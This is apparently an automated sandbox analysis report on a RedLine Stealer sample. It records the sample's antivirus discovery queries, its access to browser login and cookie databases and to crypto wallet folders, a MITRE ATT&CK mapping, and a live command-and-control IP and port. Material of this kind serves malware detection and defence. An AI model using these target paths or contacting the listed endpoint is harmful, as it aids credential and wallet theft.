Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\VXB84UvyHp.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\VXB84UvyHp.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Queries volume information: C:\Users\user\Desktop\VXB84UvyHp.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\VXB84UvyHp.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: VXB84UvyHp.exe, 00000000.00000002.1824035213.0000000006666000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\VXB84UvyHp.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct

Stealing of Sensitive Information

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: VXB84UvyHp.exe, type: SAMPLE
Source: Yara match	File source: 0.0.VXB84UvyHp.exe.ab0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1688057182.0000000000AB2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: VXB84UvyHp.exe PID: 7296, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\VXB84UvyHp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\VXB84UvyHp.exe	File opened: C:\Users\user\AppData\Roaming\atomic\	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	File opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\	Jump to behavior
Source: C:\Users\user\Desktop\VXB84UvyHp.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\	Jump to behavior

Source: Yara match	File source: VXB84UvyHp.exe, type: SAMPLE
Source: Yara match	File source: 0.0.VXB84UvyHp.exe.ab0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1688057182.0000000000AB2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: VXB84UvyHp.exe PID: 7296, type: MEMORYSTR

Remote Access Functionality

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: VXB84UvyHp.exe, type: SAMPLE
Source: Yara match	File source: 0.0.VXB84UvyHp.exe.ab0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1688057182.0000000000AB2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: VXB84UvyHp.exe PID: 7296, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	221 Windows Management Instrumentation	1 DLL Side-Loading	1 Process Injection	1 Masquerading	1 OS Credential Dumping	231 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Disable or Modify Tools	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	2 Data from Local System	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	241 Virtualization/Sandbox Evasion	Security Account Manager	241 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	113 System Information Discovery	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
VXB84UvyHp.exe	83%	Virustotal		Browse
VXB84UvyHp.exe	96%	ReversingLabs	ByteCode-MSIL.Infostealer.RedLine
VXB84UvyHp.exe	100%	Avira	HEUR/AGEN.1305500
VXB84UvyHp.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://192.144.32.84:16383/	0%	Avira URL Cloud	safe
192.144.32.84:16383	0%	Avira URL Cloud	safe
http://192.144.32.84:16383	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
api.ip.sb.cdn.cloudflare.net	172.67.75.172	true	false		high
api.ip.sb	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://192.144.32.84:16383/	true	Avira URL Cloud: safe	unknown
https://api.ip.sb/geoip	false		high
192.144.32.84:16383	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://ipinfo.io/ip%appdata%	VXB84UvyHp.exe	false		high
https://duckduckgo.com/chrome_newtab	VXB84UvyHp.exe, 00000000.00000002.1815291756.0000000003F9B000.00000004.00000800.00020000.00000000.sdmp, VXB84UvyHp.exe, 00000000.00000002.1815291756.0000000003F42000.00000004.00000800.00020000.00000000.sdmp, tmpB7CD.tmp.0.dr, tmpB7DE.tmp.0.dr, tmpB7BC.tmp.0.dr, tmpEECF.tmp.0.dr, tmp805D.tmp.0.dr, tmp806E.tmp.0.dr, tmpB80E.tmp.0.dr, tmpEF01.tmp.0.dr, tmpB7EE.tmp.0.dr, tmpEEF0.tmp.0.dr, tmpEEE0.tmp.0.dr, tmp807F.tmp.0.dr	false		high
https://duckduckgo.com/ac/?q=	VXB84UvyHp.exe, 00000000.00000002.1815291756.0000000003F9B000.00000004.00000800.00020000.00000000.sdmp, VXB84UvyHp.exe, 00000000.00000002.1815291756.0000000003F42000.00000004.00000800.00020000.00000000.sdmp, tmpB7CD.tmp.0.dr, tmpB7DE.tmp.0.dr, tmpB7BC.tmp.0.dr, tmpEECF.tmp.0.dr, tmp805D.tmp.0.dr, tmp806E.tmp.0.dr, tmpB80E.tmp.0.dr, tmpEF01.tmp.0.dr, tmpB7EE.tmp.0.dr, tmpEEF0.tmp.0.dr, tmpEEE0.tmp.0.dr, tmp807F.tmp.0.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	VXB84UvyHp.exe, 00000000.00000002.1815291756.0000000003F9B000.00000004.00000800.00020000.00000000.sdmp, VXB84UvyHp.exe, 00000000.00000002.1815291756.0000000003F42000.00000004.00000800.00020000.00000000.sdmp, tmpB7CD.tmp.0.dr, tmpB7DE.tmp.0.dr, tmpB7BC.tmp.0.dr, tmpEECF.tmp.0.dr, tmp805D.tmp.0.dr, tmp806E.tmp.0.dr, tmpB80E.tmp.0.dr, tmpEF01.tmp.0.dr, tmpB7EE.tmp.0.dr, tmpEEF0.tmp.0.dr, tmpEEE0.tmp.0.dr, tmp807F.tmp.0.dr	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous	VXB84UvyHp.exe, 00000000.00000002.1813975297.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Endpoint/CheckConnectResponse	VXB84UvyHp.exe, 00000000.00000002.1813975297.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.datacontract.org/2004/07/	VXB84UvyHp.exe, 00000000.00000002.1813975297.0000000002F00000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing/faultX	VXB84UvyHp.exe, 00000000.00000002.1813975297.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Endpoint/EnvironmentSettings	VXB84UvyHp.exe, 00000000.00000002.1813975297.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.ip.sb/geoip%USERPEnvironmentROFILE%	VXB84UvyHp.exe	false		high
https://api.ip.sb	VXB84UvyHp.exe, 00000000.00000002.1813975297.0000000002DF1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/envelope/	VXB84UvyHp.exe, 00000000.00000002.1813975297.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	VXB84UvyHp.exe, 00000000.00000002.1815291756.0000000003F9B000.00000004.00000800.00020000.00000000.sdmp, VXB84UvyHp.exe, 00000000.00000002.1815291756.0000000003F42000.00000004.00000800.00020000.00000000.sdmp, tmpB7CD.tmp.0.dr, tmpB7DE.tmp.0.dr, tmpB7BC.tmp.0.dr, tmpEECF.tmp.0.dr, tmp805D.tmp.0.dr, tmp806E.tmp.0.dr, tmpB80E.tmp.0.dr, tmpEF01.tmp.0.dr, tmpB7EE.tmp.0.dr, tmpEEF0.tmp.0.dr, tmpEEE0.tmp.0.dr, tmp807F.tmp.0.dr	false		high
http://tempuri.org/	VXB84UvyHp.exe, 00000000.00000002.1813975297.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Endpoint/CheckConnect	VXB84UvyHp.exe, 00000000.00000002.1813975297.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	VXB84UvyHp.exe, 00000000.00000002.1815291756.0000000003F9B000.00000004.00000800.00020000.00000000.sdmp, VXB84UvyHp.exe, 00000000.00000002.1815291756.0000000003F42000.00000004.00000800.00020000.00000000.sdmp, tmpB7CD.tmp.0.dr, tmpB7DE.tmp.0.dr, tmpB7BC.tmp.0.dr, tmpEECF.tmp.0.dr, tmp805D.tmp.0.dr, tmp806E.tmp.0.dr, tmpB80E.tmp.0.dr, tmpEF01.tmp.0.dr, tmpB7EE.tmp.0.dr, tmpEEF0.tmp.0.dr, tmpEEE0.tmp.0.dr, tmp807F.tmp.0.dr	false		high
https://www.ecosia.org/newtab/	VXB84UvyHp.exe, 00000000.00000002.1815291756.0000000003F9B000.00000004.00000800.00020000.00000000.sdmp, VXB84UvyHp.exe, 00000000.00000002.1815291756.0000000003F42000.00000004.00000800.00020000.00000000.sdmp, tmpB7CD.tmp.0.dr, tmpB7DE.tmp.0.dr, tmpB7BC.tmp.0.dr, tmpEECF.tmp.0.dr, tmp805D.tmp.0.dr, tmp806E.tmp.0.dr, tmpB80E.tmp.0.dr, tmpEF01.tmp.0.dr, tmpB7EE.tmp.0.dr, tmpEEF0.tmp.0.dr, tmpEEE0.tmp.0.dr, tmp807F.tmp.0.dr	false		high
http://tempuri.org/Endpoint/VerifyUpdateResponse	VXB84UvyHp.exe, 00000000.00000002.1813975297.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Endpoint/SetEnvironment	VXB84UvyHp.exe, 00000000.00000002.1813975297.0000000002F00000.00000004.00000800.00020000.00000000.sdmp, VXB84UvyHp.exe, 00000000.00000002.1813975297.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Endpoint/SetEnvironmentResponse	VXB84UvyHp.exe, 00000000.00000002.1813975297.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://192.144.32.84:16383	VXB84UvyHp.exe, 00000000.00000002.1813975297.0000000003036000.00000004.00000800.00020000.00000000.sdmp, VXB84UvyHp.exe, 00000000.00000002.1813975297.0000000002F00000.00000004.00000800.00020000.00000000.sdmp, VXB84UvyHp.exe, 00000000.00000002.1813975297.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Endpoint/GetUpdates	VXB84UvyHp.exe, 00000000.00000002.1813975297.0000000003036000.00000004.00000800.00020000.00000000.sdmp, VXB84UvyHp.exe, 00000000.00000002.1813975297.000000000303A000.00000004.00000800.00020000.00000000.sdmp, VXB84UvyHp.exe, 00000000.00000002.1813975297.0000000002DF1000.00000004.00000800.00020000.00000000.sdmp, VXB84UvyHp.exe, 00000000.00000002.1813975297.0000000002E1E000.00000004.00000800.00020000.00000000.sdmp, VXB84UvyHp.exe, 00000000.00000002.1813975297.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	VXB84UvyHp.exe, 00000000.00000002.1815291756.0000000003F9B000.00000004.00000800.00020000.00000000.sdmp, VXB84UvyHp.exe, 00000000.00000002.1815291756.0000000003F42000.00000004.00000800.00020000.00000000.sdmp, tmpB7CD.tmp.0.dr, tmpB7DE.tmp.0.dr, tmpB7BC.tmp.0.dr, tmpEECF.tmp.0.dr, tmp805D.tmp.0.dr, tmp806E.tmp.0.dr, tmpB80E.tmp.0.dr, tmpEF01.tmp.0.dr, tmpB7EE.tmp.0.dr, tmpEEF0.tmp.0.dr, tmpEEE0.tmp.0.dr, tmp807F.tmp.0.dr	false		high
https://api.ipify.orgcookies//settinString.Removeg	VXB84UvyHp.exe	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing	VXB84UvyHp.exe, 00000000.00000002.1813975297.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Endpoint/GetUpdatesResponse	VXB84UvyHp.exe, 00000000.00000002.1813975297.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	VXB84UvyHp.exe, 00000000.00000002.1815291756.0000000003F9B000.00000004.00000800.00020000.00000000.sdmp, VXB84UvyHp.exe, 00000000.00000002.1815291756.0000000003F42000.00000004.00000800.00020000.00000000.sdmp, tmpB7CD.tmp.0.dr, tmpB7DE.tmp.0.dr, tmpB7BC.tmp.0.dr, tmpEECF.tmp.0.dr, tmp805D.tmp.0.dr, tmp806E.tmp.0.dr, tmpB80E.tmp.0.dr, tmpEF01.tmp.0.dr, tmpB7EE.tmp.0.dr, tmpEEF0.tmp.0.dr, tmpEEE0.tmp.0.dr, tmp807F.tmp.0.dr	false		high
http://tempuri.org/Endpoint/EnvironmentSettingsResponse	VXB84UvyHp.exe, 00000000.00000002.1813975297.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Endpoint/VerifyUpdate	VXB84UvyHp.exe, 00000000.00000002.1813975297.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/0	VXB84UvyHp.exe, 00000000.00000002.1813975297.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	VXB84UvyHp.exe, 00000000.00000002.1813975297.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	VXB84UvyHp.exe, 00000000.00000002.1815291756.0000000003F9B000.00000004.00000800.00020000.00000000.sdmp, VXB84UvyHp.exe, 00000000.00000002.1815291756.0000000003F42000.00000004.00000800.00020000.00000000.sdmp, tmpB7CD.tmp.0.dr, tmpB7DE.tmp.0.dr, tmpB7BC.tmp.0.dr, tmpEECF.tmp.0.dr, tmp805D.tmp.0.dr, tmp806E.tmp.0.dr, tmpB80E.tmp.0.dr, tmpEF01.tmp.0.dr, tmpB7EE.tmp.0.dr, tmpEEF0.tmp.0.dr, tmpEEE0.tmp.0.dr, tmp807F.tmp.0.dr	false		high
http://schemas.xmlsoap.org/soap/actor/next	VXB84UvyHp.exe, 00000000.00000002.1813975297.0000000002DA1000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
172.67.75.172	api.ip.sb.cdn.cloudflare.net	United States		13335	CLOUDFLARENETUS	false
192.144.32.84	unknown	Germany		206233	MATTEOGB	true

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1596524
Start date and time:	2025-01-22 04:11:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 41s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	VXB84UvyHp.exe renamed because original name is a hash value
Original Sample Name:	4698A45D6F8DA200C396E56AF7B8D34F.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@2/43@1/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 31 Number of non-executed functions: 2
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 20.109.210.53
Excluded domains from analysis (whitelisted): d.8.0.a.e.e.f.b.0.0.0.0.0.0.0.0.5.0.0.0.0.0.8.0.0.3.0.1.3.0.6.2.ip6.arpa, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
22:12:07	API Interceptor	36x Sleep call for process: VXB84UvyHp.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
172.67.75.172	http://www.fcc-movil.com/80th/enphem1sX2F0dG9ybmV5YXpAZmQub3Jn	Get hash	malicious	Phisher	Browse
	https://bityl.co/Rdhj#MmpKcFFEVVI2TVllaWsyVHoxbTVjNVQ2OFJkV0I2UW53emdGdFlabWtLYlFDd3ZmMjIydmh0VVc3SEJnZUNkeG11THhoRWM4cS95OXhmejFJQXRJWlE9PQ__	Get hash	malicious	Phisher	Browse
	https://www.popisoft.com	Get hash	malicious	Unknown	Browse
	3oYqGm39Lk.exe	Get hash	malicious	Amadey, PrivateLoader, RedLine, RisePro Stealer, SmokeLoader	Browse
	3KuXQ4yrkM.exe	Get hash	malicious	Glupteba, Mystic Stealer, RedLine, SmokeLoader, zgRAT	Browse
	l5GCQ2fOuD.exe	Get hash	malicious	Djvu, PrivateLoader, RedLine, RisePro Stealer, SmokeLoader, Tofsee	Browse
	70141CDE965558529B1ADC82862D402149F21443F12F0.exe	Get hash	malicious	Amadey, Glupteba, Mystic Stealer, RedLine, SmokeLoader	Browse
	N04MI8kf8z.exe	Get hash	malicious	Amadey, Glupteba, Mystic Stealer, RedLine, SmokeLoader	Browse
	6b109e55911293b4e5098d3711849b85499a988385721.exe	Get hash	malicious	NetSupport RAT	Browse
	file.exe	Get hash	malicious	Fabookie, ManusCrypt, Nitol, Nymaim, RHADAMANTHYS, RedLine, Socelars	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
api.ip.sb.cdn.cloudflare.net	chTJmCR9bS.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	104.26.12.31

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	PO1234.001.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.96.1
	using python exe.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	using python exe.exe	Get hash	malicious	Unknown	Browse	104.21.79.52
	Anal Glory 5 Brazzers 2024 XXX WEBDL 540p SP...msi	Get hash	malicious	Unknown	Browse	104.22.31.209
	using python exe.msi	Get hash	malicious	Unknown	Browse	188.114.96.3
	VIRTUAL X MENU.msi	Get hash	malicious	Unknown	Browse	188.114.96.3
	http://ink-01.d03c9e86w5d.eu.org/	Get hash	malicious	Unknown	Browse	188.114.96.3
	http://www.ledgerlive-safety.com/files/	Get hash	malicious	Unknown	Browse	188.114.96.3
	http://www.urls.fr/ozpRGm/	Get hash	malicious	Unknown	Browse	104.22.41.173
	https://1146d15.wcomhost.com/	Get hash	malicious	Unknown	Browse	104.22.41.173
MATTEOGB	tB114oiRY5.elf	Get hash	malicious	Mirai, Okiru	Browse	146.185.209.82
	uziTyAHxCX.elf	Get hash	malicious	Mirai, Okiru	Browse	146.185.209.82
	UpgzkaAmBp.elf	Get hash	malicious	Mirai, Okiru	Browse	146.185.209.82
	Buj4LG5Eu4.elf	Get hash	malicious	Mirai, Okiru	Browse	146.185.209.82
	TradingView.exe	Get hash	malicious	RedLine	Browse	91.243.59.21
	3.apk	Get hash	malicious	TEABot	Browse	91.243.34.26
	fEOqmNHQhu.exe	Get hash	malicious	Cerber	Browse	31.184.234.34
	n2vBPxeTmB.exe	Get hash	malicious	DCRat, RedLine	Browse	91.243.32.178
	[Cracked By Grizzly] BLTools.exe	Get hash	malicious	RedLine	Browse	91.243.59.21
	4sEgS3BBbZ.exe	Get hash	malicious	RedLine	Browse	91.243.59.24

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	PO1234.001.exe	Get hash	malicious	MassLogger RAT	Browse	172.67.75.172
	Ref50102607UUU.exe	Get hash	malicious	MassLogger RAT	Browse	172.67.75.172
	Payment Error.cmd.exe	Get hash	malicious	ReverseShell, Snake Keylogger	Browse	172.67.75.172
	IMG_50117302.exe	Get hash	malicious	MassLogger RAT	Browse	172.67.75.172
	Remittance Copy.exe	Get hash	malicious	MassLogger RAT	Browse	172.67.75.172
	Halkbank Ekstre.pdf.exe	Get hash	malicious	ReverseShell, Snake Keylogger, VIP Keylogger	Browse	172.67.75.172
	sz#U00e1mla kiegyenl#U00edt#U00e9se fizet#U00e9shez 2025. janu#U00e1r 20.xlsx.exe	Get hash	malicious	MassLogger RAT	Browse	172.67.75.172
	New Order 22012025-pdf.com.exe	Get hash	malicious	ReverseShell, Snake Keylogger, VIP Keylogger	Browse	172.67.75.172
	details.exe	Get hash	malicious	MassLogger RAT	Browse	172.67.75.172
	new purchase order.exe	Get hash	malicious	MassLogger RAT	Browse	172.67.75.172

Process:	C:\Users\user\Desktop\VXB84UvyHp.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2666
Entropy (8bit):	5.345804351520589
Encrypted:	false
SSDEEP:	48:MOfHK5HKxHKdHK8THaAHKzecYHKh3oPtHo6nmHKtXooBHKoHzHZHpHt1qHxLHjH4:vq5qxqdqolqztYqh3oPtI6mq7qoT5JNV
MD5:	90757169D333CB9247B01FB0CAF14023
SHA1:	C47A0AA0CBC960527EA4FA7F61AC1D08B56C23A5
SHA-256:	C04472992BF7CF58327D947D334F1105C14C5CF0D2DD0DF7E7873CAADE0EC61D
SHA-512:	A49B90272EC353DE49C508AF75C509D14A18EA50ABD1CD49BF5313A708CB9654A543E3340C74978B5756A66EF291132E93931853CAD7CC8C85450BB64A318031
Malicious:	true
Reputation:	moderate, very likely benign file
